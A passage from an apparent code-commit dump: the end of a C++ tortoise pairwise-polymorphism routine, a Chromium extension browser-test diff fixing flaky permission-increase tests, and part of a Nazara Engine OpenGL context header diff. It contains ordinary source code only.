(unsigned long long)locusWeighting; \/\/ This is an int--discrete number of reads\n \n\n \/\/threadPWP[tortoise][tortoise] += (long double)(locusWeighting) * ((long double)2.0 * majorAlleleFreqs[tortoise] * ((long double)(coverages[tortoise]) - (long double)(mainReadCountVector[majorIndex]))) \/ (long double)((coverages[tortoise])-(long double)1.0);\n threadPWP[tortoise][tortoise] += (long double)(locusWeighting) * ((long double)2.0 * majorAlleleFreqs[tortoise] * ((long double)(coverages[tortoise]) - (long double)(mainReadCountVector[majorIndex]))) \/ (long double)((coverages[tortoise]));\n \n \/\/threadPWP[tortoise][tortoise] += locusWeighting*(2*majorAlleleFreqs[tortoise] * (coverages[tortoise]-majorReadCounts)) \/ (coverages[tortoise]-1)\n }\n \n for( int comparisonTortoise = 0; comparisonTortoise < tortoise; comparisonTortoise++) {\n if (coverages[comparisonTortoise] > 0) {\n long double locusWeighting = (long double)coverages[tortoise] * (long double)(coverages[comparisonTortoise]-1.0);\n \n threadWeightings[tortoise][comparisonTortoise] += locusWeighting;\n threadPWP[tortoise][comparisonTortoise] += (long double)locusWeighting * (majorAlleleFreqs[tortoise] * ((long double)1.0-majorAlleleFreqs[comparisonTortoise]) + majorAlleleFreqs[comparisonTortoise] * ((long double)1.0-majorAlleleFreqs[tortoise]));\n }\n }\n }\n }\n delete[] majorAlleleFreqs; \/\/ Needed to avoid memory leaks\n }\n std::cout << \"Finished thread ending on locus \" << endingLocus << std::endl;\n return 0;\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/files\/file_path.h\"\n#include \"base\/files\/scoped_temp_dir.h\"\n#include \"base\/threading\/sequenced_worker_pool.h\"\n#include \"chrome\/app\/chrome_command_ids.h\"\n#include \"chrome\/browser\/extensions\/extension_browsertest.h\"\n#include \"chrome\/browser\/extensions\/extension_prefs.h\"\n#include \"chrome\/browser\/extensions\/extension_service.h\"\n#include \"chrome\/browser\/extensions\/updater\/extension_updater.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/global_error\/global_error.h\"\n#include \"chrome\/browser\/ui\/global_error\/global_error_service.h\"\n#include \"chrome\/browser\/ui\/global_error\/global_error_service_factory.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/extensions\/extension.h\"\n#include \"content\/test\/net\/url_request_prepackaged_interceptor.h\"\n#include \"net\/url_request\/url_fetcher.h\"\n\nusing extensions::Extension;\n\nclass ExtensionDisabledGlobalErrorTest : public ExtensionBrowserTest {\n protected:\n virtual void SetUpCommandLine(CommandLine* command_line) OVERRIDE {\n ExtensionBrowserTest::SetUpCommandLine(command_line);\n command_line->AppendSwitchASCII(switches::kAppsGalleryUpdateURL,\n \"http:\/\/localhost\/autoupdate\/updates.xml\");\n }\n\n virtual void SetUpOnMainThread() OVERRIDE {\n EXPECT_TRUE(scoped_temp_dir_.CreateUniqueTempDir());\n service_ = browser()->profile()->GetExtensionService();\n base::FilePath pem_path = test_data_dir_.\n AppendASCII(\"permissions_increase\").AppendASCII(\"permissions.pem\");\n path_v1_ = PackExtensionWithOptions(\n test_data_dir_.AppendASCII(\"permissions_increase\").AppendASCII(\"v1\"),\n scoped_temp_dir_.path().AppendASCII(\"permissions1.crx\"),\n pem_path,\n base::FilePath());\n path_v2_ = PackExtensionWithOptions(\n test_data_dir_.AppendASCII(\"permissions_increase\").AppendASCII(\"v2\"),\n scoped_temp_dir_.path().AppendASCII(\"permissions2.crx\"),\n pem_path,\n base::FilePath());\n path_v3_ = PackExtensionWithOptions(\n test_data_dir_.AppendASCII(\"permissions_increase\").AppendASCII(\"v3\"),\n scoped_temp_dir_.path().AppendASCII(\"permissions3.crx\"),\n pem_path,\n base::FilePath());\n }\n\n \/\/ Returns the ExtensionDisabledGlobalError, if present.\n \/\/ Caution: currently only supports one error at a time.\n GlobalError* GetExtensionDisabledGlobalError() {\n return GlobalErrorServiceFactory::GetForProfile(browser()->profile())->\n GetGlobalErrorByMenuItemCommandID(IDC_EXTENSION_DISABLED_FIRST);\n }\n\n \/\/ Install the initial version, which should happen just fine.\n const Extension* InstallIncreasingPermissionExtensionV1() {\n size_t size_before = service_->extensions()->size();\n const Extension* extension = InstallExtension(path_v1_, 1);\n if (!extension)\n return NULL;\n if (service_->extensions()->size() != size_before + 1)\n return NULL;\n return extension;\n }\n\n \/\/ Upgrade to a version that wants more permissions. We should disable the\n \/\/ extension and prompt the user to reenable.\n const Extension* UpdateIncreasingPermissionExtension(\n const Extension* extension,\n const base::FilePath& crx_path,\n int expected_change) {\n size_t size_before = service_->extensions()->size();\n if (UpdateExtension(extension->id(), crx_path, expected_change))\n return NULL;\n BrowserThread::GetBlockingPool()->FlushForTesting();\n EXPECT_EQ(size_before + expected_change, service_->extensions()->size());\n if (service_->disabled_extensions()->size() != 1u)\n return NULL;\n\n return *service_->disabled_extensions()->begin();\n }\n\n \/\/ Helper function to install an extension and upgrade it to a version\n \/\/ requiring additional permissions. Returns the new disabled Extension.\n const Extension* InstallAndUpdateIncreasingPermissionsExtension() {\n const Extension* extension = InstallIncreasingPermissionExtensionV1();\n extension = UpdateIncreasingPermissionExtension(extension, path_v2_, -1);\n return extension;\n }\n\n ExtensionService* service_;\n base::ScopedTempDir scoped_temp_dir_;\n base::FilePath path_v1_;\n base::FilePath path_v2_;\n base::FilePath path_v3_;\n};\n\n\/\/ Tests the process of updating an extension to one that requires higher\n\/\/ permissions, and accepting the permissions.\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest, AcceptPermissions) {\n const Extension* extension = InstallAndUpdateIncreasingPermissionsExtension();\n ASSERT_TRUE(extension);\n ASSERT_TRUE(GetExtensionDisabledGlobalError());\n const size_t size_before = service_->extensions()->size();\n\n service_->GrantPermissionsAndEnableExtension(extension);\n EXPECT_EQ(size_before + 1, service_->extensions()->size());\n EXPECT_EQ(0u, service_->disabled_extensions()->size());\n ASSERT_FALSE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Tests uninstalling an extension that was disabled due to higher permissions.\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest, Uninstall) {\n const Extension* extension = InstallAndUpdateIncreasingPermissionsExtension();\n ASSERT_TRUE(extension);\n ASSERT_TRUE(GetExtensionDisabledGlobalError());\n const size_t size_before = service_->extensions()->size();\n\n UninstallExtension(extension->id());\n EXPECT_EQ(size_before, service_->extensions()->size());\n EXPECT_EQ(0u, service_->disabled_extensions()->size());\n ASSERT_FALSE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Tests that no error appears if the user disabled the extension.\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest, UserDisabled) {\n const Extension* extension = InstallIncreasingPermissionExtensionV1();\n DisableExtension(extension->id());\n extension = UpdateIncreasingPermissionExtension(extension, path_v2_, 0);\n ASSERT_FALSE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Test that no error appears if the disable reason is unknown\n\/\/ (but probably was by the user).\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest,\n UnknownReasonSamePermissions) {\n const Extension* extension = InstallIncreasingPermissionExtensionV1();\n DisableExtension(extension->id());\n \/\/ Clear disable reason to simulate legacy disables.\n service_->extension_prefs()->ClearDisableReasons(extension->id());\n \/\/ Upgrade to version 2. Infer from version 1 having the same permissions\n \/\/ granted by the user that it was disabled by the user.\n extension = UpdateIncreasingPermissionExtension(extension, path_v2_, 0);\n ASSERT_TRUE(extension);\n ASSERT_FALSE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Test that an error appears if the disable reason is unknown\n\/\/ (but probably was for increased permissions).\n\/\/ Disabled due to http:\/\/crbug.com\/246431\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest,\n DISABLED_UnknownReasonHigherPermissions) {\n const Extension* extension = InstallAndUpdateIncreasingPermissionsExtension();\n \/\/ Clear disable reason to simulate legacy disables.\n service_->extension_prefs()->ClearDisableReasons(extension->id());\n \/\/ We now have version 2 but only accepted permissions for version 1.\n GlobalError* error = GetExtensionDisabledGlobalError();\n ASSERT_TRUE(error);\n \/\/ Also, remove the upgrade error for version 2.\n GlobalErrorServiceFactory::GetForProfile(browser()->profile())->\n RemoveGlobalError(error);\n delete error;\n \/\/ Upgrade to version 3, with even higher permissions. Infer from\n \/\/ version 2 having higher-than-granted permissions that it was disabled\n \/\/ for permissions increase.\n extension = UpdateIncreasingPermissionExtension(extension, path_v3_, 0);\n ASSERT_TRUE(extension);\n ASSERT_TRUE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Test that an error appears if the extension gets disabled because a\n\/\/ version with higher permissions was installed by sync.\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest,\n HigherPermissionsFromSync) {\n \/\/ Get data for extension v2 (disabled) into sync.\n const Extension* extension = InstallAndUpdateIncreasingPermissionsExtension();\n std::string extension_id = extension->id();\n \/\/ service_->GrantPermissionsAndEnableExtension(extension, false);\n extensions::ExtensionSyncData sync_data =\n service_->GetExtensionSyncData(*extension);\n UninstallExtension(extension_id);\n extension = NULL;\n\n \/\/ Install extension v1.\n InstallIncreasingPermissionExtensionV1();\n\n \/\/ Note: This interceptor gets requests on the IO thread.\n content::URLLocalHostRequestPrepackagedInterceptor interceptor;\n net::URLFetcher::SetEnableInterceptionForTests(true);\n interceptor.SetResponseIgnoreQuery(\n GURL(\"http:\/\/localhost\/autoupdate\/updates.xml\"),\n test_data_dir_.AppendASCII(\"permissions_increase\")\n .AppendASCII(\"updates.xml\"));\n interceptor.SetResponseIgnoreQuery(\n GURL(\"http:\/\/localhost\/autoupdate\/v2.crx\"),\n scoped_temp_dir_.path().AppendASCII(\"permissions2.crx\"));\n\n extensions::ExtensionUpdater::CheckParams params;\n params.check_blacklist = false;\n service_->updater()->set_default_check_params(params);\n\n \/\/ Sync is replacing an older version, so it pends.\n EXPECT_FALSE(service_->ProcessExtensionSyncData(sync_data));\n\n WaitForExtensionInstall();\n BrowserThread::GetBlockingPool()->FlushForTesting();\n\n extension = service_->GetExtensionById(extension_id, true);\n ASSERT_TRUE(extension);\n EXPECT_EQ(\"2\", extension->VersionString());\n EXPECT_EQ(1u, service_->disabled_extensions()->size());\n EXPECT_EQ(Extension::DISABLE_PERMISSIONS_INCREASE,\n service_->extension_prefs()->GetDisableReasons(extension_id));\n EXPECT_TRUE(GetExtensionDisabledGlobalError());\n}\n<commit_msg>Actually fix ExtensionDisabledGlobalErrorTest flakiness.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/files\/file_path.h\"\n#include \"base\/files\/scoped_temp_dir.h\"\n#include \"base\/run_loop.h\"\n#include \"base\/threading\/sequenced_worker_pool.h\"\n#include \"chrome\/app\/chrome_command_ids.h\"\n#include \"chrome\/browser\/extensions\/extension_browsertest.h\"\n#include \"chrome\/browser\/extensions\/extension_prefs.h\"\n#include \"chrome\/browser\/extensions\/extension_service.h\"\n#include \"chrome\/browser\/extensions\/updater\/extension_updater.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/global_error\/global_error.h\"\n#include \"chrome\/browser\/ui\/global_error\/global_error_service.h\"\n#include \"chrome\/browser\/ui\/global_error\/global_error_service_factory.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/extensions\/extension.h\"\n#include \"content\/public\/test\/test_utils.h\"\n#include \"content\/test\/net\/url_request_prepackaged_interceptor.h\"\n#include \"net\/url_request\/url_fetcher.h\"\n\nusing extensions::Extension;\n\nclass ExtensionDisabledGlobalErrorTest : public ExtensionBrowserTest {\n protected:\n virtual void SetUpCommandLine(CommandLine* command_line) OVERRIDE {\n ExtensionBrowserTest::SetUpCommandLine(command_line);\n command_line->AppendSwitchASCII(switches::kAppsGalleryUpdateURL,\n \"http:\/\/localhost\/autoupdate\/updates.xml\");\n }\n\n virtual void SetUpOnMainThread() OVERRIDE {\n EXPECT_TRUE(scoped_temp_dir_.CreateUniqueTempDir());\n service_ = browser()->profile()->GetExtensionService();\n base::FilePath pem_path = test_data_dir_.\n AppendASCII(\"permissions_increase\").AppendASCII(\"permissions.pem\");\n path_v1_ = PackExtensionWithOptions(\n test_data_dir_.AppendASCII(\"permissions_increase\").AppendASCII(\"v1\"),\n scoped_temp_dir_.path().AppendASCII(\"permissions1.crx\"),\n pem_path,\n base::FilePath());\n path_v2_ = PackExtensionWithOptions(\n test_data_dir_.AppendASCII(\"permissions_increase\").AppendASCII(\"v2\"),\n scoped_temp_dir_.path().AppendASCII(\"permissions2.crx\"),\n pem_path,\n base::FilePath());\n path_v3_ = PackExtensionWithOptions(\n test_data_dir_.AppendASCII(\"permissions_increase\").AppendASCII(\"v3\"),\n scoped_temp_dir_.path().AppendASCII(\"permissions3.crx\"),\n pem_path,\n base::FilePath());\n }\n\n \/\/ Returns the ExtensionDisabledGlobalError, if present.\n \/\/ Caution: currently only supports one error at a time.\n GlobalError* GetExtensionDisabledGlobalError() {\n return GlobalErrorServiceFactory::GetForProfile(browser()->profile())->\n GetGlobalErrorByMenuItemCommandID(IDC_EXTENSION_DISABLED_FIRST);\n }\n\n \/\/ Install the initial version, which should happen just fine.\n const Extension* InstallIncreasingPermissionExtensionV1() {\n size_t size_before = service_->extensions()->size();\n const Extension* extension = InstallExtension(path_v1_, 1);\n if (!extension)\n return NULL;\n if (service_->extensions()->size() != size_before + 1)\n return NULL;\n return extension;\n }\n\n \/\/ Upgrade to a version that wants more permissions. We should disable the\n \/\/ extension and prompt the user to reenable.\n const Extension* UpdateIncreasingPermissionExtension(\n const Extension* extension,\n const base::FilePath& crx_path,\n int expected_change) {\n size_t size_before = service_->extensions()->size();\n if (UpdateExtension(extension->id(), crx_path, expected_change))\n return NULL;\n BrowserThread::GetBlockingPool()->FlushForTesting();\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(size_before + expected_change, service_->extensions()->size());\n if (service_->disabled_extensions()->size() != 1u)\n return NULL;\n\n return *service_->disabled_extensions()->begin();\n }\n\n \/\/ Helper function to install an extension and upgrade it to a version\n \/\/ requiring additional permissions. Returns the new disabled Extension.\n const Extension* InstallAndUpdateIncreasingPermissionsExtension() {\n const Extension* extension = InstallIncreasingPermissionExtensionV1();\n extension = UpdateIncreasingPermissionExtension(extension, path_v2_, -1);\n return extension;\n }\n\n ExtensionService* service_;\n base::ScopedTempDir scoped_temp_dir_;\n base::FilePath path_v1_;\n base::FilePath path_v2_;\n base::FilePath path_v3_;\n};\n\n\/\/ Tests the process of updating an extension to one that requires higher\n\/\/ permissions, and accepting the permissions.\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest, AcceptPermissions) {\n const Extension* extension = InstallAndUpdateIncreasingPermissionsExtension();\n ASSERT_TRUE(extension);\n ASSERT_TRUE(GetExtensionDisabledGlobalError());\n const size_t size_before = service_->extensions()->size();\n\n service_->GrantPermissionsAndEnableExtension(extension);\n EXPECT_EQ(size_before + 1, service_->extensions()->size());\n EXPECT_EQ(0u, service_->disabled_extensions()->size());\n ASSERT_FALSE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Tests uninstalling an extension that was disabled due to higher permissions.\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest, Uninstall) {\n const Extension* extension = InstallAndUpdateIncreasingPermissionsExtension();\n ASSERT_TRUE(extension);\n ASSERT_TRUE(GetExtensionDisabledGlobalError());\n const size_t size_before = service_->extensions()->size();\n\n UninstallExtension(extension->id());\n EXPECT_EQ(size_before, service_->extensions()->size());\n EXPECT_EQ(0u, service_->disabled_extensions()->size());\n ASSERT_FALSE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Tests that no error appears if the user disabled the extension.\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest, UserDisabled) {\n const Extension* extension = InstallIncreasingPermissionExtensionV1();\n DisableExtension(extension->id());\n extension = UpdateIncreasingPermissionExtension(extension, path_v2_, 0);\n ASSERT_FALSE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Test that no error appears if the disable reason is unknown\n\/\/ (but probably was by the user).\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest,\n UnknownReasonSamePermissions) {\n const Extension* extension = InstallIncreasingPermissionExtensionV1();\n DisableExtension(extension->id());\n \/\/ Clear disable reason to simulate legacy disables.\n service_->extension_prefs()->ClearDisableReasons(extension->id());\n \/\/ Upgrade to version 2. Infer from version 1 having the same permissions\n \/\/ granted by the user that it was disabled by the user.\n extension = UpdateIncreasingPermissionExtension(extension, path_v2_, 0);\n ASSERT_TRUE(extension);\n ASSERT_FALSE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Test that an error appears if the disable reason is unknown\n\/\/ (but probably was for increased permissions).\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest,\n UnknownReasonHigherPermissions) {\n const Extension* extension = InstallAndUpdateIncreasingPermissionsExtension();\n \/\/ Clear disable reason to simulate legacy disables.\n service_->extension_prefs()->ClearDisableReasons(extension->id());\n \/\/ We now have version 2 but only accepted permissions for version 1.\n GlobalError* error = GetExtensionDisabledGlobalError();\n ASSERT_TRUE(error);\n \/\/ Also, remove the upgrade error for version 2.\n GlobalErrorServiceFactory::GetForProfile(browser()->profile())->\n RemoveGlobalError(error);\n delete error;\n \/\/ Upgrade to version 3, with even higher permissions. Infer from\n \/\/ version 2 having higher-than-granted permissions that it was disabled\n \/\/ for permissions increase.\n extension = UpdateIncreasingPermissionExtension(extension, path_v3_, 0);\n ASSERT_TRUE(extension);\n ASSERT_TRUE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Test that an error appears if the extension gets disabled because a\n\/\/ version with higher permissions was installed by sync.\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest,\n HigherPermissionsFromSync) {\n \/\/ Get data for extension v2 (disabled) into sync.\n const Extension* extension = InstallAndUpdateIncreasingPermissionsExtension();\n std::string extension_id = extension->id();\n extensions::ExtensionSyncData sync_data =\n service_->GetExtensionSyncData(*extension);\n UninstallExtension(extension_id);\n extension = NULL;\n\n \/\/ Install extension v1.\n InstallIncreasingPermissionExtensionV1();\n\n \/\/ Note: This interceptor gets requests on the IO thread.\n content::URLLocalHostRequestPrepackagedInterceptor interceptor;\n net::URLFetcher::SetEnableInterceptionForTests(true);\n interceptor.SetResponseIgnoreQuery(\n GURL(\"http:\/\/localhost\/autoupdate\/updates.xml\"),\n test_data_dir_.AppendASCII(\"permissions_increase\")\n .AppendASCII(\"updates.xml\"));\n interceptor.SetResponseIgnoreQuery(\n GURL(\"http:\/\/localhost\/autoupdate\/v2.crx\"),\n scoped_temp_dir_.path().AppendASCII(\"permissions2.crx\"));\n\n extensions::ExtensionUpdater::CheckParams params;\n params.check_blacklist = false;\n service_->updater()->set_default_check_params(params);\n\n \/\/ Sync is replacing an older version, so it pends.\n EXPECT_FALSE(service_->ProcessExtensionSyncData(sync_data));\n\n WaitForExtensionInstall();\n BrowserThread::GetBlockingPool()->FlushForTesting();\n base::RunLoop().RunUntilIdle();\n\n extension = service_->GetExtensionById(extension_id, true);\n ASSERT_TRUE(extension);\n EXPECT_EQ(\"2\", extension->VersionString());\n EXPECT_EQ(1u, service_->disabled_extensions()->size());\n EXPECT_EQ(Extension::DISABLE_PERMISSIONS_INCREASE,\n service_->extension_prefs()->GetDisableReasons(extension_id));\n EXPECT_TRUE(GetExtensionDisabledGlobalError());\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (C) 2020 Jérôme Leclercq\n\/\/ This file is part of the \"Nazara Engine - OpenGL Renderer\"\n\/\/ For conditions of distribution and use, see copyright notice in Config.hpp\n\n#pragma once\n\n#ifndef NAZARA_OPENGLRENDERER_CONTEXTIMPL_HPP\n#define NAZARA_OPENGLRENDERER_CONTEXTIMPL_HPP\n\n#include <Nazara\/Prerequisites.hpp>\n#include <Nazara\/Core\/Algorithm.hpp>\n#include <Nazara\/Core\/DynLib.hpp>\n#include <Nazara\/OpenGLRenderer\/Config.hpp>\n#include <Nazara\/OpenGLRenderer\/OpenGLVaoCache.hpp>\n#include <Nazara\/OpenGLRenderer\/Wrapper\/CoreFunctions.hpp>\n#include <Nazara\/OpenGLRenderer\/Wrapper\/Loader.hpp>\n#include <Nazara\/Renderer\/RenderStates.hpp>\n#include <array>\n#include <string>\n#include <unordered_set>\n\nnamespace Nz\n{\n\tclass OpenGLDevice;\n}\n\nnamespace Nz::GL\n{\n\tenum class BufferTarget\n\t{\n\t\tArray,\n\t\tCopyRead,\n\t\tCopyWrite,\n\t\tElementArray,\n\t\tPixelPack,\n\t\tPixelUnpack,\n\t\tTransformFeedback,\n\t\tUniform,\n\n\t\tMax = Uniform\n\t};\n\n\tenum class ContextType\n\t{\n\t\tOpenGL,\n\t\tOpenGL_ES\n\t};\n\n\tenum class Extension\n\t{\n\t\tSpirV,\n\t\tTextureFilterAnisotropic,\n\t\tTextureCompressionS3tc,\n\n\t\tMax = TextureFilterAnisotropic\n\t};\n\n\tenum class ExtensionStatus\n\t{\n\t\tNotSupported,\n\n\t\tARB,\n\t\tEXT,\n\t\tKHR\n\t};\n\n\tenum class FramebufferTarget\n\t{\n\t\tDraw,\n\t\tRead\n\t};\n\n\tenum class TextureTarget\n\t{\n\t\tCubemap,\n\t\tCubemapNegativeX,\n\t\tCubemapNegativeY,\n\t\tCubemapNegativeZ,\n\t\tCubemapPositiveX,\n\t\tCubemapPositiveY,\n\t\tCubemapPositiveZ,\n\t\tTarget2D,\n\t\tTarget2D_Array,\n\t\tTarget3D,\n\n\t\tMax = Target3D\n\t};\n\n\tstruct ContextParams\n\t{\n\t\tContextType type = ContextType::OpenGL_ES;\n\t\tbool doubleBuffering = true;\n\t\tunsigned int bitsPerPixel = 32;\n\t\tunsigned int depthBits = 24;\n\t\tunsigned int glMajorVersion = 0;\n\t\tunsigned int glMinorVersion = 0;\n\t\tunsigned int sampleCount = 1;\n\t\tunsigned int stencilBits = 8;\n\t};\n\n\tclass NAZARA_OPENGLRENDERER_API Context\n\t{\n\t\tstruct SymbolLoader;\n\t\tfriend SymbolLoader;\n\n\t\tpublic:\n\t\t\tinline Context(const OpenGLDevice* device);\n\t\t\tvirtual ~Context();\n\n\t\t\tvoid BindBuffer(BufferTarget target, GLuint buffer, bool force = false) const;\n\t\t\tvoid BindFramebuffer(GLuint fbo) const;\n\t\t\tvoid BindFramebuffer(FramebufferTarget target, GLuint fbo) const;\n\t\t\tvoid BindProgram(GLuint program) const;\n\t\t\tvoid BindSampler(UInt32 textureUnit, GLuint sampler) const;\n\t\t\tvoid BindTexture(TextureTarget target, GLuint texture) const;\n\t\t\tvoid BindTexture(UInt32 textureUnit, TextureTarget target, GLuint texture) const;\n\t\t\tvoid BindUniformBuffer(UInt32 uboUnit, GLuint buffer, GLintptr offset, GLsizeiptr size) const;\n\t\t\tvoid BindVertexArray(GLuint vertexArray, bool force = false) const;\n\n\t\t\tbool ClearErrorStack() const;\n\n\t\t\tvirtual void EnableVerticalSync(bool enabled) = 0;\n\n\t\t\tinline const OpenGLDevice* GetDevice() const;\n\t\t\tinline ExtensionStatus GetExtensionStatus(Extension extension) const;\n\t\t\tinline GLFunction GetFunctionByIndex(std::size_t funcIndex) const;\n\t\t\tinline const OpenGLVaoCache& GetVaoCache() const;\n\t\t\tinline const ContextParams& GetParams() const;\n\n\t\t\tinline bool IsExtensionSupported(Extension extension) const;\n\t\t\tinline bool IsExtensionSupported(const std::string& extension) const;\n\n\t\t\tbool Initialize(const ContextParams& params);\n\n\t\t\tinline void NotifyBufferDestruction(GLuint buffer) const;\n\t\t\tinline void NotifyFramebufferDestruction(GLuint fbo) const;\n\t\t\tinline void NotifyProgramDestruction(GLuint program) const;\n\t\t\tinline void NotifySamplerDestruction(GLuint sampler) const;\n\t\t\tinline void NotifyTextureDestruction(GLuint texture) const;\n\t\t\tinline void NotifyVertexArrayDestruction(GLuint vao) const;\n\n\t\t\tbool ProcessErrorStack() const;\n\n\t\t\tinline void ResetColorWriteMasks() const;\n\t\t\tinline void ResetDepthWriteMasks() const;\n\t\t\tinline void ResetStencilWriteMasks() const;\n\n\t\t\tvoid SetCurrentTextureUnit(UInt32 textureUnit) const;\n\t\t\tvoid SetScissorBox(GLint x, GLint y, GLsizei width, GLsizei height) const;\n\t\t\tvoid SetViewport(GLint x, GLint y, GLsizei width, GLsizei height) const;\n\n\t\t\tvirtual void SwapBuffers() = 0;\n\n\t\t\tvoid UpdateStates(const RenderStates& renderStates, bool isViewportFlipped) const;\n\n#define NAZARA_OPENGLRENDERER_FUNC(name, sig) sig name = nullptr;\n\t\t\tNAZARA_OPENGLRENDERER_FOREACH_GLES_FUNC(NAZARA_OPENGLRENDERER_FUNC, NAZARA_OPENGLRENDERER_FUNC)\n#undef NAZARA_OPENGLRENDERER_FUNC\n\n\t\t\tstatic const Context* GetCurrentContext();\n\t\t\tstatic bool SetCurrentContext(const Context* context);\n\n\t\tprotected:\n\t\t\tvirtual bool Activate() const = 0;\n\t\t\tvirtual void Desactivate() const = 0;\n\t\t\tvirtual const Loader& GetLoader() = 0;\n\t\t\tvoid OnContextRelease();\n\n\t\t\tvirtual bool ImplementFallback(const std::string_view& function);\n\n\t\t\tstatic void NotifyContextDestruction(Context* context);\n\n\t\t\tContextParams m_params;\n\n\t\tprivate:\n\t\t\tvoid GL_APIENTRY HandleDebugMessage(GLenum source, GLenum type, GLuint id, GLenum severity, GLsizei length, const GLchar* message) const;\n\n\t\t\tenum class FunctionIndex\n\t\t\t{\n#define NAZARA_OPENGLRENDERER_FUNC(name, sig) name,\n\t\t\t\tNAZARA_OPENGLRENDERER_FOREACH_GLES_FUNC(NAZARA_OPENGLRENDERER_FUNC, NAZARA_OPENGLRENDERER_FUNC)\n#undef NAZARA_OPENGLRENDERER_FUNC\n\n\t\t\t\tCount\n\t\t\t};\n\n\t\t\tstruct State\n\t\t\t{\n\t\t\t\tstruct Box\n\t\t\t\t{\n\t\t\t\t\tGLint x, y;\n\t\t\t\t\tGLsizei width, height;\n\t\t\t\t};\n\n\t\t\t\tstruct TextureUnit\n\t\t\t\t{\n\t\t\t\t\tGLuint sampler = 0;\n\t\t\t\t\tstd::array<GLuint, UnderlyingCast(TextureTarget::Max) + 1> textureTargets = { 0 };\n\t\t\t\t};\n\n\t\t\t\tstruct UniformBufferUnit\n\t\t\t\t{\n\t\t\t\t\tGLuint buffer = 0;\n\t\t\t\t\tGLintptr offset = 0;\n\t\t\t\t\tGLsizeiptr size = 0;\n\t\t\t\t};\n\n\t\t\t\tstd::array<GLuint, UnderlyingCast(BufferTarget::Max) + 1> bufferTargets = { 0 };\n\t\t\t\tstd::vector<TextureUnit> textureUnits;\n\t\t\t\tstd::vector<UniformBufferUnit> uboUnits;\n\t\t\t\tBox scissorBox;\n\t\t\t\tBox viewport;\n\t\t\t\tGLuint boundProgram = 0;\n\t\t\t\tGLuint boundDrawFBO = 0;\n\t\t\t\tGLuint boundReadFBO = 0;\n\t\t\t\tGLuint boundVertexArray = 0;\n\t\t\t\tUInt32 currentTextureUnit = 0;\n\t\t\t\tRenderStates renderStates;\n\t\t\t};\n\n\t\t\tstd::array<ExtensionStatus, UnderlyingCast(Extension::Max) + 1> m_extensionStatus;\n\t\t\tstd::array<GLFunction, UnderlyingCast(FunctionIndex::Count)> m_originalFunctionPointer;\n\t\t\tstd::unordered_set<std::string> m_supportedExtensions;\n\t\t\tOpenGLVaoCache m_vaoCache;\n\t\t\tconst OpenGLDevice* m_device;\n\t\t\tmutable State m_state;\n\t};\n}\n\n#include <Nazara\/OpenGLRenderer\/Wrapper\/Context.inl>\n\n#endif\n<commit_msg>Update Context.hpp<commit_after>\/\/ Copyright (C) 2020 Jérôme Leclercq\n\/\/ This file is part of the \"Nazara Engine - OpenGL Renderer\"\n\/\/ For conditions of distribution and use, see copyright notice in Config.hpp\n\n#pragma once\n\n#ifndef NAZARA_OPENGLRENDERER_CONTEXTIMPL_HPP\n#define NAZARA_OPENGLRENDERER_CONTEXTIMPL_HPP\n\n#include <Nazara\/Prerequisites.hpp>\n#include <Nazara\/Core\/Algorithm.hpp>\n#include <Nazara\/Core\/DynLib.hpp>\n#include <Nazara\/OpenGLRenderer\/Config.hpp>\n#include <Nazara\/OpenGLRenderer\/OpenGLVaoCache.hpp>\n#include <Nazara\/OpenGLRenderer\/Wrapper\/CoreFunctions.hpp>\n#include <Nazara\/OpenGLRenderer\/Wrapper\/Loader.hpp>\n#include <Nazara\/Renderer\/RenderStates.hpp>\n#include <array>\n#include <string>\n#include <unordered_set>\n\nnamespace Nz\n{\n\tclass OpenGLDevice;\n}\n\nnamespace Nz::GL\n{\n\tenum class BufferTarget\n\t{\n\t\tArray,\n\t\tCopyRead,\n\t\tCopyWrite,\n\t\tElementArray,\n\t\tPixelPack,\n\t\tPixelUnpack,\n\t\tTransformFeedback,\n\t\tUniform,\n\n\t\tMax = Uniform\n\t};\n\n\tenum class ContextType\n\t{\n\t\tOpenGL,\n\t\tOpenGL_ES\n\t};\n\n\tenum class Extension\n\t{\n\t\tSpirV,\n\t\tTextureCompressionS3tc,\n\t\tTextureFilterAnisotropic,\n\n\t\tMax = 